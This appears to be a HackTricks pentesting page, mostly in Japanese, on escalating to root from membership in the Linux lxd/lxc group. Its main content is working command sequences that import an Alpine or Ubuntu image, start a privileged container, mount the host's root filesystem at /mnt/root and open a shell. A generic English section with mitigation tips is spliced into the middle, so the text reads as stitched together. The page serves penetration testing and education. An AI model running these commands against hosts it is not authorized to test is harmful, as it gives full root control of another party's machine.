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168 lines
9.3 KiB
Markdown
168 lines
9.3 KiB
Markdown
# lxd/lxcグループ - 特権昇格
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
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* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
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* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
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* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
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</details>
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もし _**lxd**_ **または** _**lxc**_ **グループに所属している場合、rootになることができます**
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## インターネットなしでの攻撃
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### 方法1
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このディストロビルダーをマシンにインストールすることができます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(githubの指示に従ってください):
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```bash
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sudo su
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#Install requirements
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sudo apt update
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sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
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#Clone repo
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git clone https://github.com/lxc/distrobuilder
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#Make distrobuilder
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cd distrobuilder
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make
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#Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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#Create the container
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sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
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```
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次に、脆弱なサーバーに **lxd.tar.xz** と **rootfs.squashfs** のファイルをアップロードします。
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イメージを追加します：
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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lxc image list #You can see your new imported image
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```
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# LXD Privilege Escalation
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## Introduction
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This document explains a privilege escalation technique in LXD, a container hypervisor for Linux systems. By exploiting misconfigurations in LXD, an attacker can gain root privileges within a container and potentially escalate their privileges on the host system.
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## Prerequisites
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To perform this attack, you need the following:
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- Access to a Linux system with LXD installed.
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- Basic knowledge of Linux command-line interface (CLI) and LXD commands.
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## Attack Scenario
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1. **Create a Container**: First, create a new container using the LXD command-line tool. Specify the desired Linux distribution and version for the container.
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```bash
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lxc launch <image> <container-name>
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```
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2. **Add Root Path**: Once the container is created, add the root path to the container's configuration. This will allow the container to access the host system's root filesystem.
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```bash
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lxc config device add <container-name> root disk source=/ path=/
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```
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This command adds a new device named "root" to the container's configuration, with the source set to the host system's root filesystem ("/") and the path set to the root directory ("/") within the container.
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3. **Start the Container**: Start the container to apply the changes made to its configuration.
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```bash
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lxc start <container-name>
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```
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4. **Access the Container**: Once the container is running, access its shell using the LXD command-line tool.
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```bash
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lxc exec <container-name> -- /bin/bash
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```
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5. **Privilege Escalation**: Within the container's shell, execute commands to escalate privileges and gain root access. This can be achieved by exploiting vulnerabilities or misconfigurations within the container or the host system.
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## Mitigation
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To prevent privilege escalation attacks in LXD, follow these best practices:
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- Regularly update LXD and the host system to ensure that security patches are applied.
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- Limit the privileges of LXD containers by using appropriate Linux user namespaces and resource restrictions.
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- Avoid adding the root path to containers unless absolutely necessary, and carefully review the security implications before doing so.
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- Implement strong access controls and monitor container activity for any suspicious behavior.
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By following these guidelines, you can reduce the risk of privilege escalation attacks in LXD containers.
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```bash
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lxc init alpine privesc -c security.privileged=true
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lxc list #List containers
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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{% hint style="danger" %}
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もしエラーが発生した場合 _**エラー: ストレージプールが見つかりません。新しいストレージプールを作成してください**_\
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**`lxd init`** を実行し、前のコマンドのチャンクを**繰り返して**ください
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{% endhint %}
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コンテナを実行します：
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### 方法2
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Alpineイメージをビルドし、フラグ`security.privileged=true`を使用して起動します。これにより、コンテナがホストのファイルシステムとしてrootとして対話するように強制されます。
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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# interact with the container
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lxc start mycontainer
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lxc exec mycontainer /bin/sh
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```
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Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
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## インターネットを使用する場合
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[こちらの手順](https://reboare.github.io/lxd/lxd-escape.html)に従うことができます。
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```bash
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lxc init ubuntu:16.04 test -c security.privileged=true
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lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
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lxc start test
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lxc exec test bash
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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## その他の参考資料
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{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **サイバーセキュリティ企業で働いていますか？** HackTricksで**会社を宣伝**したいですか？または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
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||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
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</details>
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